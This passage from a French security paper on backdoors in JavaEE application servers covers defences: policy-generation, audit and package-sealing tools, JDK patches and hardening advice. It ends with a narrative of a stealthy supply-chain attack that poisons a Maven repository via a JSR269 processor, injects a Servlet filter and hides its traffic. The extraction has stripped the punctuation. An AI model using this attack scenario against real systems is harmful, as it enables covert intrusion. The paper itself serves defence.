-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
